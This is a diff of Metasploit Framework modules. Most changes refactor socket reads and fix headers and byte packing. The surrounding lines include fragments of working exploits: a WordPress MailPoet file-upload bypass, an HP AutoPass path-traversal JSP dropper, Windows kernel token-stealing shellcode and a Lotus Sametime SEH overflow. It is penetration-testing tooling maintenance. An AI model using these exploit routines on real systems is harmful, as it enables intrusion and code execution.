@ -97,7 +99,7 @@ class Metasploit3 < Msf::Auxiliary
request = method + " http://" + site + "/ HTTP/1.1" + "\r\n" +
"Host: " + site + "\r\n" +
"Connection: close" + "\r\n" +
"User-Agent: user_agent" + "\r\n" +
"User-Agent: #{user_agent}" + "\r\n" +
"Accept-Encoding: *" + "\r\n" +
"Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7" + "\r\n" +
"Cache-Control: no" + "\r\n" +
@ -115,7 +117,7 @@ class Metasploit3 < Msf::Auxiliary
request = write_request('GET',site,user_agent)
sock.put(request)
res = sock.get
res = sock.get_once(-1, 10)
disconnect
@ -167,7 +169,7 @@ class Metasploit3 < Msf::Auxiliary
request = write_request('GET',ripe_address,user_agent)
sock.put(request)
res = sock.get
res = sock.get_once(-1, 10)
disconnect

View File

@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary
# on the response codes. We need to do this between every
# port scan attempt unfortunately.
while true
r = self.sock.get(0.25)
r = sock.get_once(-1, 0.25)
break if not r or r.empty?
end

View File

@ -234,12 +234,14 @@ class Metasploit4 < Msf::Auxiliary
if webmethods
webmethods_output = [] # create empty webmethods array
webmethods_arr = webmethods.split(",")
print_good("#{rhost}:#{rport} [SAP] Unprotected Webmethods :::")
webmethods_arr.each do | webm |
# Only add webmethods not found in protectedweb_arr
webmethods_output << webm if not protectedweb_arr.include?(webm)
webmethods_output << webm unless protectedweb_arr && protectedweb_arr.include?(webm)
end
if webmethods_output
print_good("#{rhost}:#{rport} [SAP] Unprotected Webmethods :::")
print_status("#{webmethods_output.join(',')}")
end
print_status("#{webmethods_output.join(',')}") if webmethods_output
report_note(:host => rhost,
:proto => 'tcp',
:port => rport,

View File

@ -47,8 +47,7 @@ class Metasploit3 < Msf::Auxiliary
def send_frame(payload)
sock.put(payload)
@modbus_counter += 1
r = sock.get(sock.def_read_timeout)
return r
sock.get_once(-1, sock.def_read_timeout)
end
def make_payload(payload)
@ -65,10 +64,7 @@ class Metasploit3 < Msf::Auxiliary
payload += [@function_code].pack("c")
payload += [datastore['DATA_ADDRESS']].pack("n")
payload += [1].pack("n")
packet_data = make_payload(payload)
packet_data
make_payload(payload)
end
def make_write_coil_payload(data)
@ -89,9 +85,7 @@ class Metasploit3 < Msf::Auxiliary
payload += [datastore['DATA_ADDRESS']].pack("n")
payload += [data].pack("n")
packet_data = make_payload(payload)
packet_data
make_payload(payload)
end
def handle_error(response)

View File

@ -187,7 +187,7 @@ class Metasploit3 < Msf::Auxiliary
vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)
server_hello = sock.get(response_timeout)
server_hello = sock.get_once(-1, response_timeout)
unless server_hello
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")

View File

@ -339,7 +339,7 @@ class Metasploit3 < Msf::Auxiliary
def tls_jabber
sock.put(jabber_connect_msg(xmpp_domain))
res = sock.get(response_timeout)
res = sock.get_once(-1, response_timeout)
if res && res.include?('host-unknown')
jabber_host = res.match(/ from='([\w.]*)' /)
if jabber_host && jabber_host[1]
@ -347,7 +347,7 @@ class Metasploit3 < Msf::Auxiliary
establish_connect
vprint_status("#{peer} - Connecting with autodetected remote XMPP hostname: #{jabber_host[1]}...")
sock.put(jabber_connect_msg(jabber_host[1]))
res = sock.get(response_timeout)
res = sock.get_once(-1, response_timeout)
end
end
if res.nil? || res.include?('stream:error') || res !~ /<starttls xmlns=['"]urn:ietf:params:xml:ns:xmpp-tls['"]/
@ -356,14 +356,14 @@ class Metasploit3 < Msf::Auxiliary
end
msg = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
sock.put(msg)
res = sock.get(response_timeout)
res = sock.get_once(-1, response_timeout)
return nil if res.nil? || !res.include?('<proceed')
res
end
def tls_ftp
# http://tools.ietf.org/html/rfc4217
res = sock.get(response_timeout)
res = sock.get_once(-1, response_timeout)
return nil if res.nil?
sock.put("AUTH TLS\r\n")
res = get_data
@ -418,7 +418,7 @@ class Metasploit3 < Msf::Auxiliary
vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello)
server_hello = sock.get(response_timeout)
server_hello = sock.get_once(-1, response_timeout)
unless server_hello
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
return nil

View File

@ -50,7 +50,7 @@ class Metasploit3 < Msf::Auxiliary
filename.strip!
pkt = "\x00\x01" + filename + "\x00" + "netascii" + "\x00"
udp_sock.sendto(pkt, ip, datastore['RPORT'])
resp = udp_sock.get(1)
resp = udp_sock.get(3)
if resp and resp.length >= 2 and resp[0, 2] == "\x00\x03"
print_status("Found #{filename} on #{ip}")
#Add Report

View File

@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Sending GET request with command line payload...")
sock.put(req)
res = sock.get(3,3)
res = sock.get_once(-1, 5)
if (res =~ /<h5>(.*)<\/h5>/smi)
out = $1

View File

@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote
# Read command output from socket if cmd/unix/generic payload was used
if (datastore['CMD'])
res = sock.get
res = sock.get_once(-1, 10)
print_status(res.to_s) if not res.empty?
end

View File

@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote
def check
connect
sock.put(connection_request)
res = sock.get
res = sock.get_once(-1, 10)
disconnect
if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0
# res[8,2] => Reply Type
@ -91,7 +91,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Sending Service Connection Request...")
sock.put(connection_request)
res = sock.get
res = sock.get_once(-1, 10)
if res.nil? or res[8, 2].unpack("n")[0] != 0x3333 or res[15, 1].unpack("C")[0] != 0
# res[8,2] => Reply Type
# res[15,1] => Connection Status
@ -124,7 +124,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Sending Overflow on Keyed Object Login...")
sock.put(pkt)
sock.get
sock.get_once(-1, 10)
disconnect
end

View File

@ -63,8 +63,9 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
connect
banner = sock.get_once.to_s.strip
print_status "Banner: #{banner = sock.gets}"
print_status "Banner: #{banner}"
# NOTE: orig poc shellcode len: 84

View File

@ -156,7 +156,7 @@ class Metasploit3 < Msf::Exploit::Remote
# Establishes handshake with the server
def handshake
sock.put(HANDSHAKE)
return sock.get(datastore['RESPONSE_TIMEOUT'])
return sock.get_once(-1, datastore['RESPONSE_TIMEOUT'])
end
# Forges packet for JDWP protocol
@ -173,7 +173,7 @@ class Metasploit3 < Msf::Exploit::Remote
# Reads packet response for JDWP protocol
def read_reply(timeout = default_timeout)
response = sock.get(timeout)
response = sock.get_once(-1, timeout)
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
pktlen, id, flags, errcode = response.unpack('NNCn')
response.slice!(0..10)

View File

@ -59,11 +59,11 @@ class Metasploit3 < Msf::Exploit::Remote
buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\necho #{sploit}\n"
sock.put(buf)
banner = sock.get(3,3)
banner = sock.get_once
disconnect
if (banner and banner =~ /#{sploit}/)
if banner.to_s.index(sploit)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
buf << "\n"
sock.put(buf)
res = sock.get(-1,3)
res = sock.get_once
print_status(res.to_s)

View File

@ -20,13 +20,15 @@ class Metasploit3 < Msf::Exploit::Remote
machine when the attacker has to manually type in the command himself, e.g. Command Injection,
RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not
write to disk so it is less likely to trigger AV solutions and will allow privilege
escalations supplied by Meterpreter.
escalations supplied by Meterpreter. When using either of the PSH targets, ensure the
payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute
x86 payloads on x64 machines.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Andrew Smith "jakx" <jakx.ppr@gmail.com>',
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
'Ben Campbell',
'Chris Campbell' #@obscuresec - Inspiration n.b. no relation!
],
'DefaultOptions' =>

View File

@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
def check
connect
sock.put("GET /cgi-bin/ck/mimencode HTTP/1.0\r\n\r\n")
banner = sock.get(-1,3)
banner = sock.get_once(-1, 3)
disconnect
if (banner =~ /500 Internal/)

View File

@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
req = "service launcher\n"
req << "start/flags run /bin/echo /bin/echo #{fingerprint}\n"
sock.put(req)
res = sock.get
res = sock.get_once(-1, 10)
disconnect
# check response
@ -99,7 +99,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("#{@peer} - Sending payload (#{req.length} bytes)")
connect
sock.put(req)
res = sock.get
res = sock.get_once(-1, 10)
# check response
if res and res =~ /No controlling tty/

View File

@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote
def check
connect
banner = sock.get_once.strip
banner = sock.get_once.to_s.strip
vprint_status("#{rhost}:#{rport} - Banner: #{banner}")
disconnect

View File

@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote
upload arbitrary files to the upload folder. Because the plugin also
uses it's own file upload mechanism instead of the wordpress api it's
possible to upload any file type.
The user provided does not need special rights. Also users with "Contributer"
The user provided does not need special rights, and users with "Contributor"
role can be abused.
},
'Author' =>

View File

@ -1,3 +1,5 @@
# encoding: UTF-8
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
@ -12,7 +14,8 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
super(update_info(
info,
'Name' => 'Wordpress MailPoet Newsletters (wysija-newsletters) Unauthenticated File Upload',
'Description' => %q{
The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8
@ -24,7 +27,8 @@ class Metasploit3 < Msf::Exploit::Remote
a POST variable overwrites a GET variable in the $_REQUEST array. The plugin
uses $_REQUEST to check for access rights. By setting the POST parameter to
something not beginning with 'wysija_', the check is bypassed. Wordpress uses
the $_GET array to determine the page, so it is not affected by this.
the $_GET array to determine the page, so it is not affected by this. The developers
applied the fixes to all previous versions too.
},
'Author' =>
[
@ -34,14 +38,14 @@ class Metasploit3 < Msf::Exploit::Remote
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ],
[ 'URL', 'http://www.mailpoet.com/security-update-part-2/'],
[ 'URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php']
['URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html'],
['URL', 'http://www.mailpoet.com/security-update-part-2/'],
['URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['wysija-newsletters < 2.6.8', {}] ],
'Targets' => [['wysija-newsletters < 2.6.8', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 1 2014'))
end
@ -58,8 +62,8 @@ class Metasploit3 < Msf::Exploit::Remote
}
zip_file = Rex::Zip::Archive.new
content.each_pair do |name, content|
zip_file.add_file(name, content)
content.each_pair do |name, con|
zip_file.add_file(name, con)
end
zip_file.pack
@ -67,14 +71,12 @@ class Metasploit3 < Msf::Exploit::Remote
def check
readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wysija-newsletters', 'readme.txt')
res = send_request_cgi({
res = send_request_cgi(
'uri' => readme_url,
'method' => 'GET'
})
)
# no readme.txt present
if res.nil? || res.code != 200
return Msf::Exploit::CheckCode::Unknown
end
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
# try to extract version from readme
# Example line:
@ -82,11 +84,9 @@ class Metasploit3 < Msf::Exploit::Remote
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
# readme present, but no version number
if version.nil?
return Msf::Exploit::CheckCode::Detected
end
return Msf::Exploit::CheckCode::Detected if version.nil?
print_status("#{peer} - Found version #{version} of the plugin")
vprint_status("#{peer} - Found version #{version} of the plugin")
if Gem::Version.new(version) < Gem::Version.new('2.6.8')
return Msf::Exploit::CheckCode::Appears
@ -108,19 +108,20 @@ class Metasploit3 < Msf::Exploit::Remote
data.add_part('on', nil, nil, 'form-data; name="overwriteexistingtheme"')
data.add_part('themeupload', nil, nil, 'form-data; name="action"')
data.add_part('Upload', nil, nil, 'form-data; name="submitter"')
# this line bypasses the check implemented in version 2.6.7
data.add_part(rand_text_alpha(10), nil, nil, 'form-data; name="page"')
post_data = data.to_s
payload_uri = normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wysija', 'themes', theme_name, payload_name)
print_status("#{peer} - Uploading payload to #{payload_uri}")
res = send_request_cgi({
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'vars_get' => { 'page' => 'wysija_campaigns', 'action' => 'themes' },
'data' => post_data
})
)
if res.nil? || res.code != 302 || res.headers['Location'] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1'
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
@ -135,9 +136,9 @@ class Metasploit3 < Msf::Exploit::Remote
print_warning("#{peer} - The theme folder #{theme_name} can not be removed. Please delete it manually.")
print_status("#{peer} - Executing payload #{payload_uri}")
res = send_request_cgi({
send_request_cgi(
'uri' => payload_uri,
'method' => 'GET'
})
)
end
end

View File

@ -99,7 +99,7 @@ class Metasploit3 < Msf::Exploit::Remote
exploit_data << rop_chain
exploit_data << payload.encoded
exploit_data << make_nops(exploit_data.length % 2)
exploit_data = exploit_data.unpack("S<*")
exploit_data = exploit_data.unpack("v*")
exploit_data = exploit_data.map { |word| " ?\\u-#{0x10000 - word}" }
exploit_data = exploit_data.join

View File

@ -82,13 +82,14 @@ class Metasploit3 < Msf::Exploit::Remote
def check
connect
banner = sock.get(-1,3)
banner = sock.get_once || ""
disconnect
validate = "\x32\x32\x30\x20\xbb\xb6\xd3\xad\xb9"
validate << "\xe2\xc1\xd9\x46\x54\x50\xb7\xfe\xce"
validate << "\xf1\xc6\xf7\x21\x0d\x0a"
disconnect
if (banner == validate)
if banner.to_s == validate
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe

View File

@ -56,9 +56,9 @@ class Metasploit3 < Msf::Exploit::Remote
def check
connect
banner = sock.get(-1,3)
banner = sock.get_once
disconnect
if (banner =~ /Dream FTP Server/)
if (banner.to_s =~ /Dream FTP Server/)
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe

View File

@ -71,7 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote
def check
connect
banner = sock.get(-1,3)
banner = sock.get_once(-1, 3)
disconnect
if (banner =~ /Sami FTP Server 2\.0\.2/)

View File

@ -68,10 +68,10 @@ class Metasploit3 < Msf::Exploit::Remote
rand = Rex::Text.rand_text_alpha(10)
sock.put("GET /amlibweb/webquery.dll?#{rand}= HTTP/1.0\r\n\r\n")
res = sock.get(-1,3)
res = sock.get_once
disconnect
if (res =~ /<H1>BAD REQUEST<\/H1><P>Your client sent a request that this server didn't understand.<br>Request:\s(\w+)/)
if (res.to_s =~ /<H1>BAD REQUEST<\/H1><P>Your client sent a request that this server didn't understand.<br>Request:\s(\w+)/)
if ($1 == rand)
return Exploit::CheckCode::Vulnerable
end

View File

@ -59,10 +59,10 @@ class Metasploit3 < Msf::Exploit::Remote
def check
connect
sock.put("HEAD / HTTP/1.0\r\n\r\n\r\n")
banner = sock.get(-1,3)
sock.put("HEAD / HTTP/1.0\r\nHost: #{rhost}\r\n\r\n")
banner = sock.get_once
if (banner =~ /GET and POST methods are the only methods supported at this time/) # Unique?
if (banner.to_s =~ /GET and POST methods are the only methods supported at this time/) # Unique?
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe

View File

@ -6,7 +6,7 @@
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
@ -40,7 +40,34 @@ class Metasploit3 < Msf::Exploit::Remote
'Arch' => ARCH_JAVA,
'Targets' =>
[
['HP AutoPass License Server 8.01 / HP Service Virtualization 3.50', {}]
['Windows 2003 SP2 / HP AutoPass License Server 8.01 / HP Service Virtualization 3.50',
{
'InstallDepth' => 4,
'InstallFolder' => '/HP AutoPass License Server/HP AutoPass License Server',
'WebappsDepth' => 1
}
],
['Windows 2008 32 bits/ HP AutoPass License Server 8.01 / HP Service Virtualization 3.50',
{
'InstallDepth' => 7,
'InstallFolder' => '/Program Files/HP/HP AutoPass License Server/HP AutoPass License Server/HP AutoPass License Server',
'WebappsDepth' => 1
}
],
['Windows 2008 64 bits/ HP AutoPass License Server 8.01 / HP Service Virtualization 3.50',
{
'InstallDepth' => 7,
'InstallFolder' => '/Program Files (x86)/HP/HP AutoPass License Server/HP AutoPass License Server/HP AutoPass License Server',
'WebappsDepth' => 1
}
],
['Windows 2012 / HP AutoPass License Server 8.01 / HP Service Virtualization 3.50',
{
'InstallDepth' => 4,
'InstallFolder' => '/HP AutoPass License Server/HP AutoPass License Server',
'WebappsDepth' => 1
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 10 2014'))
@ -48,9 +75,14 @@ class Metasploit3 < Msf::Exploit::Remote
register_options(
[
Opt::RPORT(5814),
OptString.new('TARGETURI', [true, 'Path to HP AutoPass License Server Application', '/autopass']),
OptInt.new('INSTALL_DEPTH', [true, 'Traversal Depth to reach the HP AutoPass License Server folder', 4]),
OptInt.new('WEBAPPS_DEPTH', [true, 'Traversal Depth to reach the Tomcat webapps folder', 1])
OptString.new('TARGETURI', [true, 'Path to HP AutoPass License Server Application', '/autopass'])
], self.class)
register_advanced_options(
[
OptInt.new('INSTALL_DEPTH', [false, 'Traversal Depth to reach the HP AutoPass License Server folder']),
OptString.new('INSTALL_FOLDER', [false, 'HP AutoPass License Server folder']),
OptInt.new('WEBAPPS_DEPTH', [false, 'Traversal Depth to reach the Tomcat webapps folder'])
], self.class)
end
@ -99,7 +131,8 @@ class Metasploit3 < Msf::Exploit::Remote
# In order to execute it, through the AutoPass application we would like to drop it here:
# C:\Program Files\HP\HP AutoPass License Server\HP AutoPass License Server\HP AutoPass License Server\webapps\autopass\scripts
dropper_traversal = install_traversal
dropper_traversal << "/HP AutoPass License Server/HP AutoPass License Server/webapps/autopass/scripts/#{dropper_filename}"
dropper_traversal << "#{install_folder}/webapps/autopass/scripts/#{dropper_filename}"
res = upload_file(dropper_traversal, dropper)
register_files_for_cleanup("#{webapps_traversal}webapps/autopass/scripts/#{dropper_filename}")
@ -140,11 +173,39 @@ class Metasploit3 < Msf::Exploit::Remote
end
def webapps_traversal
"../" * datastore['WEBAPPS_DEPTH']
if datastore['WEBAPPS_DEPTH'] > 0
depth = datastore['WEBAPPS_DEPTH']
elsif target['WebappsDepth']
depth = target['WebappsDepth']
else
depth = 1
end
"../" * depth
end
def install_traversal
"/.." * datastore['INSTALL_DEPTH']
if datastore['INSTALL_DEPTH'] > 0
depth = datastore['INSTALL_DEPTH']
elsif target['InstallDepth']
depth = target['InstallDepth']
else
depth = 4
end
"/.." * depth
end
def install_folder
if !datastore['INSTALL_FOLDER'].blank?
folder = datastore['INSTALL_FOLDER']
elsif target['InstallFolder']
folder = target['InstallFolder']
else
folder = "/HP AutoPass License Server/HP AutoPass License Server"
end
folder
end
# Using a JSP dropper because the vulnerability doesn't allow to upload

View File

@ -66,12 +66,12 @@ class Metasploit3 < Msf::Exploit::Remote
connect
req = "GET /SITEINFO.INI HTTP/1.0\r\n"
req << "User-Agent: Mozilla/5.0\r\n"
sock.put(req + "\r\n\r\n")
req << "User-Agent: Mozilla/5.0\r\n\r\n"
sock.put(req)
banner = sock.get(-1,3)
banner = sock.get_once
if (banner =~ /Spipe\/1\.0/)
if banner.to_s =~ /Spipe\/1\.0/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe

View File

@ -68,10 +68,10 @@ class Metasploit3 < Msf::Exploit::Remote
def check
connect
sock.put("GET / HTTP/1.0\r\n\r\n")
banner = sock.get(-1,3)
banner = sock.get_once
disconnect
if (banner =~ /WDaemon\/6\.8\.[0-5]/)
if (banner.to_s =~ /WDaemon\/6\.8\.[0-5]/)
return Exploit::CheckCode::Appears
end
@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote
sploit << payload.encoded + " HTTP/1.0"
sock.put(sploit + "\r\n\r\n")
res = sock.get(3,3)
res = sock.get_once(-1, 3)
if (res =~ /Message spooled but will be deleted if not FROM a valid account/)
print_status("Payload accepted by WorldClient Form2Raw CGI!")

View File

@ -59,8 +59,8 @@ class Metasploit3 < Msf::Exploit::Remote
def check
connect
sock.put("GET / HTTP/1.0\r\n\r\n")
banner = sock.get(-1,3)
if (banner =~ /PSO Proxy 0\.9/)
banner = sock.get_once
if (banner.to_s =~ /PSO Proxy 0\.9/)
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe

View File

@ -75,12 +75,12 @@ class Metasploit3 < Msf::Exploit::Remote
def check
connect
sock.put("\r\n\r\n") # works
res = sock.get(-1,3)
res = sock.get_once
disconnect
if (res =~ /Server: Serv-U\/9\.0\.0\.5/)
if (res.to_s =~ /Server: Serv-U\/9\.0\.0\.5/)
return Exploit::CheckCode::Appears
elsif (res =~ /Server: Serv-U/)
elsif (res.to_s =~ /Server: Serv-U/)
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe

View File

@ -60,10 +60,10 @@ class Metasploit3 < Msf::Exploit::Remote
def check
connect
sock.put("GET / HTTP/1.0\r\n\r\n")
res = sock.get(-1, 3)
res = sock.get_once
disconnect
if (res =~ /Steamcast\/0\.9\.75/)
if (res.to_s =~ /Steamcast\/0\.9\.75/)
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe

View File

@ -60,11 +60,11 @@ class Metasploit3 < Msf::Exploit::Remote
def check
connect
sock.put("GET / HTTP/1.1\r\n\r\n")
banner = sock.get(-1,3)
sock.put("GET / HTTP/1.1\r\nHost: #{rhost}\r\n\r\n")
banner = sock.get_once
disconnect
if (banner =~ /Xitami/)
if (banner.to_s =~ /Xitami/)
vprint_status("Banner: #{banner}")
return Exploit::CheckCode::Detected
end

View File

@ -89,7 +89,7 @@ class Metasploit3 < Msf::Exploit::Local
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]])
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]])
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("V*")
addresses.each do |address|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
@ -172,7 +172,7 @@ class Metasploit3 < Msf::Exploit::Local
irpstuff << rand_text_alpha(231)
if not this_proc.memory.writable?(0x1000)
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ base_addr ].pack("L"), nil, [ 0x1000 ].pack("L"), "MEM_COMMIT | MEM_RESERVE", "PAGE_EXECUTE_READWRITE")
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ base_addr ].pack("V"), nil, [ 0x1000 ].pack("V"), "MEM_COMMIT | MEM_RESERVE", "PAGE_EXECUTE_READWRITE")
end
if not this_proc.memory.writable?(0x1000)
print_error('Failed to properly allocate memory')
@ -202,10 +202,10 @@ class Metasploit3 < Msf::Exploit::Local
halDispatchTable0x8 = halDispatchTable + 0x8
restore_ptrs = "\x31\xc0"
restore_ptrs << "\xb8" + [ halpSetSystemInformation ].pack("L")
restore_ptrs << "\xa3" + [ halDispatchTable0x8 ].pack("L")
restore_ptrs << "\xb8" + [ haliQuerySystemInformation ].pack("L")
restore_ptrs << "\xa3" + [ halDispatchTable0x4 ].pack("L")
restore_ptrs << "\xb8" + [ halpSetSystemInformation ].pack("V")
restore_ptrs << "\xa3" + [ halDispatchTable0x8 ].pack("V")
restore_ptrs << "\xb8" + [ haliQuerySystemInformation ].pack("V")
restore_ptrs << "\xa3" + [ halDispatchTable0x4 ].pack("V")
tokenstealing = "\x52"
tokenstealing << "\x53"
@ -241,7 +241,7 @@ class Metasploit3 < Msf::Exploit::Local
this_proc.memory.write(shellcode_address_nodep, shellcode)
this_proc.memory.protect(0x00020000)
addr = [ 2, 4455, 0x7f000001, 0, 0 ].pack("s!S!L!L!L!")
addr = [ 2, 4455, 0x7f000001, 0, 0 ].pack("vvVVV")
result = session.railgun.ws2_32.connect(socket, addr, addr.length)
if result['return'] != 0xffffffff
print_error("The socket is not in the correct state")

View File

@ -63,26 +63,27 @@ class Metasploit3 < Msf::Exploit::Remote
def check
connect
req = "HEAD / HTTP/1.0\r\n\r\n"
req << "User-Agent: Sametime Community Agent\r\n"
req = "HEAD / HTTP/1.1\r\n"
req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
req << "User-Agent: Sametime Community Agent\r\n\r\n"
sock.put(req)
res = sock.get_once(-1,3) || ''
res = sock.get_once || ''
disconnect
if (res =~/Lotus-Domino/)
if (res.to_s =~/Lotus-Domino/)
connect
req = "GET /CommunityCBR HTTP/1.0\r\n\r\n"
req << "User-Agent: Sametime Community Agent\r\n"
req = "GET /CommunityCBR HTTP/1.1\r\n"
req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
req << "User-Agent: Sametime Community Agent\r\n\r\n"
sock.put(req)
res = sock.get_once(-1,3) || ''
res = sock.get_once || ''
disconnect
if (res =~/200 OK/)
if (res.to_s =~ /200 OK/)
return Exploit::CheckCode::Detected
end
end
@ -106,8 +107,8 @@ class Metasploit3 < Msf::Exploit::Remote
path = pad1 + jmp + seh + pad2 + popebx + popad + esp
req = "POST /CommunityCBR/CC.39.#{path}/\r\n"
req << "User-Agent: Sametime Community Agent\r\n"
req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
req << "User-Agent: Sametime Community Agent\r\n"
req << "Content-Length: #{payload.encoded.length}\r\n"
req << "Connection: Close\r\n"
req << "Cache-Control: no-cache\r\n\r\n"

View File

@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Trying #{target.name} using lstrcpyA address at #{"0x%.8x" % target.ret }...")
udp_sock.put(request)
udp_sock.get
udp_sock.get(5)
handler(udp_sock)
disconnect_udp

View File

@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
hello << "\xb0\x02\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x7c\xfa"
sock.put(hello)
hello_response = sock.get
hello_response = sock.get_once(-1, 10)
disconnect
if hello_response and hello_response =~ /Dtb: Context/
@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote
hello << "\xb0\x02\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x7c\xfa"
sock.put(hello)
hello_response = sock.get
hello_response = sock.get_once(-1, 10)
if not hello_response or hello_response.empty?
print_error("#{sock.peerinfo} - The Hello Request hasn't received a response")

View File

@ -160,7 +160,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
sock.put(hello)
hello_response = sock.get
hello_response = sock.get_once(-1, 10)
if not hello_response or hello_response.empty?
print_error("#{sock.peerinfo} - The Hello Request haven't had response")
@ -235,7 +235,7 @@ class Metasploit3 < Msf::Exploit::Remote
end
sock.put(auth)
auth_response = sock.get
auth_response = sock.get_once(-1, 10)
if not auth_response or auth_response.empty?
print_error("#{sock.peerinfo} - The Authentication Request haven't had response")
return
@ -247,7 +247,7 @@ class Metasploit3 < Msf::Exploit::Remote
request_token << "\x07\x00\x00\x00"
sock.put(request_token)
response_token = sock.get
response_token = sock.get_once(-1, 10)
if not response_token or response_token.empty?
print_error("#{sock.peerinfo} - The Token Request haven't had response")
return
@ -261,7 +261,7 @@ class Metasploit3 < Msf::Exploit::Remote
request_home_identifier << "\x00\x00\x00\x00"
sock.put(request_home_identifier)
response_home_identifier = sock.get
response_home_identifier = sock.get_once(-1, 10)
if not response_home_identifier or response_home_identifier.empty?
print_error("#{sock.peerinfo} - The Home Identifier Request haven't had response")
return
@ -275,7 +275,7 @@ class Metasploit3 < Msf::Exploit::Remote
request_home_contents << response_home_identifier[24,9] << "\00\x00\x00\x00\x0d\x00\x00"
sock.put(request_home_contents)
response_home_contents = sock.get
response_home_contents = sock.get_once(-1, 10)
if not response_home_contents or response_home_contents.empty?
print_error("#{sock.peerinfo} - The Home Contents Request haven't had response")
return

View File

@ -154,7 +154,7 @@ class Metasploit3 < Msf::Exploit::Remote
connect
print_status("Performing handshake...")
sock.put("\x00" * 256)
sock.get
sock.get_once(-1, 10)
# Don't change the nulls, or it might not work
xploit = ''

View File

@ -10,6 +10,11 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer
include Msf::Module::Deprecated
DEPRECATION_DATE = Date.new(2014, 10, 23)
DEPRECATION_REPLACEMENT = 'exploit/multi/script/web_delivery'
def initialize(info = {})
super(update_info(info,
'Name' => 'PowerShell Payload Web Delivery',

View File

@ -105,11 +105,11 @@ class Metasploit3 < Msf::Exploit::Remote
# op code
